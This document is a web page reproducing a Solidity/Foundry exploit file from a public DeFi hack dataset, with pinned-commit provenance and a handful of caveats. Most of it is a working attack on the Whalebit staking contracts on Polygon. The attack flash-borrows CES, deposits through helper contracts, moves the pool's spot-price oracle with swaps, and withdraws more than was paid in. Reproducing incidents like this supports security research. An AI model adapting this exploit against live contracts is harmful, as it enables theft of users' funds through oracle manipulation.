Public reproduction file
src/test/2026-03/WhalebitOracleManipulation_exp.sol
Public reproduction file for dataset entry WhalebitOracleManipulation.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.15;4import "../basetest.sol";5import "../interface.sol";7// @KeyInfo - Total Lost : 824K USD8// Attacker : 0xe66b37de57b65691b9f4ac48de2c2b7be53c5c6f9// Attack Contract : 0xb5a8d7a37d60aa662f4dc9b3ef4c32a3fe21fadf10// Vulnerable Contract : 0x9153e149b0d90dea634ed9f7df6ff71c2109b65411// Vulnerable Entry Proxy : 0x40465755eb5846d655bbcc8c186a477469f9ce3612// Attack Tx : https://polygonscan.com/tx/0x5d54fa839821e370b020d13a9b11b6f4f8cadc4eaed0a404ea17ad1bd725dbde14// @Info15// Vulnerable Contract Code : https://polygonscan.com/address/0x9153e149b0d90dea634ed9f7df6ff71c2109b654#code17// @Analysis18// Twitter Guy : https://x.com/DefimonAlerts/status/203937207768625178719//20// The attacker flash-borrowed CES, repeatedly deposited through helper contracts, sold CES into the21// CES/USDT Algebra pool to move Whalebit's spot-price oracle, withdrew more CES than each helper had22// effectively paid in, then swapped USDT back to CES and repeated the cycle before repaying the loan.24address constant ATTACKER = 0xe66b37DE57b65691B9f4Ac48DE2c2b7be53C5c6F;25address constant CES = 0x1Bdf71EDe1a4777dB1EebE7232BcdA20d6FC1610;26address constant USDT_TOKEN = 0xc2132D05D31c914a87C6611C10748AEb04B58e8F;27address constant FLASH_POOL = 0x296b95DD0E8B726c4e358b0683ff0B6d675C35E9;28address constant ALGEBRA_POOL = 0xD3A9331A654444F9fe7DdbaEC6678C2Dc9113197;29address constant WHALEBIT_STAKING = 0x40465755EB5846d655bBcC8C186A477469f9Ce36;30address constant WHALEBIT_LEVELS = 0x1CaeFc860308b58D0B5Bb643d75c807c6a9d3a63;31address constant WHALEBIT_PRICER = 0xB5ea1d17f3D8dA34a6D6a1d2acc2a148e1411868;33interface IWhalebitLevels {34 function getPriceForLevel(35 uint256 level36 ) external view returns (uint256 cesAmount, uint256 levelAmount);37 function getBalance(38 address account39 ) external view returns (uint256);40}42interface IWhalebitStaking {43 function deposit(44 uint256 level45 ) external;46 function withdraw(47 uint256 amount48 ) external;49}51interface IAlgebraPoolState {52 function globalState()53 external54 view55 returns (uint160 price, int24 tick, uint16 lastFee, uint8 pluginConfig, uint16 communityFee, bool unlocked);56}58contract ContractTest is BaseTestWithBalanceLog {59 function setUp() public {60 uint256 forkBlock = 84_938_871;61 vm.createSelectFork("polygon", forkBlock);62 fundingToken = CES;64 vm.label(ATTACKER, "Attacker EOA");65 vm.label(CES, "CES");66 vm.label(USDT_TOKEN, "USDT");67 vm.label(FLASH_POOL, "CES/USDT flash pool");68 vm.label(ALGEBRA_POOL, "CES/USDT Algebra pool");69 vm.label(WHALEBIT_STAKING, "Whalebit staking proxy");70 vm.label(WHALEBIT_LEVELS, "Whalebit levels");71 vm.label(WHALEBIT_PRICER, "Whalebit pricer");72 }74 function testExploit() public {75 WhalebitExploit exploit = new WhalebitExploit();77 // step 1: model the trace-start CES inventory that was already in the attack contract.78 uint256 traceStartCes = 140_956.392_485_016_353_593_75 ether;79 deal(CES, address(exploit), traceStartCes);81 uint256 beforeCes = IERC20(CES).balanceOf(address(exploit));82 logTokenBalance(CES, address(exploit), "Attack Contract Before");84 vm.prank(ATTACKER, ATTACKER);85 exploit.attack();87 uint256 afterCes = IERC20(CES).balanceOf(address(exploit));88 uint256 profit = afterCes - beforeCes;89 logTokenBalance(CES, address(exploit), "Attack Contract After");90 assertGt(profit, 9000 ether, "CES profit after flash repayment");91 }92}94contract WhalebitExploit {95 uint256 private constant LEVEL = 12;97 IERC20 private constant ces = IERC20(CES);98 IERC20 private constant usdt = IERC20(USDT_TOKEN);99 Uni_Pair_V3 private constant flashPool = Uni_Pair_V3(FLASH_POOL);100 Uni_Pair_V3 private constant algebraPool = Uni_Pair_V3(ALGEBRA_POOL);101 IAlgebraPoolState private constant algebraPoolState = IAlgebraPoolState(ALGEBRA_POOL);102 IWhalebitLevels private constant levels = IWhalebitLevels(WHALEBIT_LEVELS);104 WhalebitHelper[5] private helpers;106 constructor() {107 for (uint256 i = 0; i < helpers.length; i++) {108 helpers[i] = new WhalebitHelper();109 }110 }112 function attack() external {113 uint256 flashAmount = ces.balanceOf(FLASH_POOL);114 flashPool.flash(address(this), flashAmount, 0, abi.encode(flashAmount));115 }117 function uniswapV3FlashCallback(118 uint256 fee0,119 uint256,120 bytes calldata data121 ) external {122 require(msg.sender == FLASH_POOL, "not flash pool");124 uint256 principal = abi.decode(data, (uint256));125 (uint256 cesAmount,) = levels.getPriceForLevel(LEVEL);127 // step 2: three trace rounds of helper deposits, spot-price movement, withdrawals, and restoration swaps.128 for (uint256 round = 0; round < 3; round++) {129 for (uint256 i = 0; i < helpers.length; i++) {130 ces.transfer(address(helpers[i]), cesAmount);131 helpers[i].deposit(LEVEL);132 }134 uint256 amountIn = ces.balanceOf(address(this));135 (uint160 price,,,,,) = algebraPoolState.globalState();136 algebraPool.swap(address(this), true, int256(amountIn), uint160((uint256(price) * 45) / 100), "");138 for (uint256 i = 0; i < helpers.length; i++) {139 helpers[i].withdraw();140 }142 amountIn = usdt.balanceOf(address(this));143 (price,,,,,) = algebraPoolState.globalState();144 algebraPool.swap(address(this), false, int256(amountIn), uint160(uint256(price) * 2), "");145 }147 // step 3: repay the CES flash loan plus fee, leaving the manipulated CES profit in this contract.148 uint256 repayment = principal + fee0;149 ces.transfer(FLASH_POOL, repayment);150 }152 function algebraSwapCallback(153 int256 amount0Delta,154 int256 amount1Delta,155 bytes calldata156 ) external {157 require(msg.sender == ALGEBRA_POOL, "not Algebra pool");159 if (amount0Delta > 0) {160 ces.transfer(ALGEBRA_POOL, uint256(amount0Delta));161 }162 if (amount1Delta > 0) {163 usdt.transfer(ALGEBRA_POOL, uint256(amount1Delta));164 }165 }166}168contract WhalebitHelper {169 IERC20 private constant ces = IERC20(CES);170 IWhalebitLevels private constant levels = IWhalebitLevels(WHALEBIT_LEVELS);171 IWhalebitStaking private constant staking = IWhalebitStaking(WHALEBIT_STAKING);173 constructor() {174 ces.approve(WHALEBIT_PRICER, type(uint256).max);175 }177 function deposit(178 uint256 level179 ) external {180 staking.deposit(level);181 returnCes(msg.sender);182 }184 function withdraw() external {185 uint256 balance = levels.getBalance(address(this));186 staking.withdraw(balance);187 returnCes(msg.sender);188 }190 function returnCes(191 address receiver192 ) private {193 uint256 balance = ces.balanceOf(address(this));194 if (balance != 0) {195 ces.transfer(receiver, balance);196 }197 }198}Analysis
Dataset entry
Public Foundry test for “WhalebitOracleManipulation” (2026-03-31). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/basetest.solImported by this file · 142 lines
- src/test/interface.solImported by this file · 6133 lines
- src/test/2026-03/AlkemiEarn_exp.solSame month in the dataset · 91 lines
- src/test/2026-03/ATMBlindBox_exp.solSame month in the dataset · 141 lines
- src/test/2026-03/bce_exp.solSame month in the dataset · 245 lines
- src/test/2026-03/Curve_LlamaLend_exp.solSame month in the dataset · 281 lines
- src/test/2026-03/EST_exp.solSame month in the dataset · 170 lines
- src/test/2026-03/Revamp_exp.solSame month in the dataset · 278 lines
- src/test/2026-03/unverified_237d_exp.solSame month in the dataset · 162 lines
- src/test/2026-03/Univ3CollateralToken_exp.solSame month in the dataset · 188 lines
- src/test/2026-03/unverified_1304_exp.solSame month in the dataset · 178 lines
- src/test/2026-03/Venus_THE_exp.solSame month in the dataset · 227 lines
- src/test/2026-03/VTSwapHook_exp.solSame month in the dataset · 166 lines
- src/test/2026-03/XocolatlLiquidator_exp.solSame month in the dataset · 255 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0xe66b37de57b65691b9f4ac48de2c2b7be53c5c6f
- Attack Contract
0xb5a8d7a37d60aa662f4dc9b3ef4c32a3fe21fadf
- Vulnerable Contract
0x9153e149b0d90dea634ed9f7df6ff71c2109b654
- Attack Tx
0x5d54fa839821e370b020d13a9b11b6f4f8cadc4eaed0a404ea17ad1bd725dbde
File record
- Name
- WhalebitOracleManipulation
- Path
- src/test/2026-03/WhalebitOracleManipulation_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- 8c67fc14c36dbb504ce4528beda65e11a94b997c
- Language
- Solidity
- Size
- 199 lines
- Date
- 2026-03-31
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-03/WhalebitOracleManipulation_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 8c67fc14c36dbb504ce4528beda65e11a94b997c, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.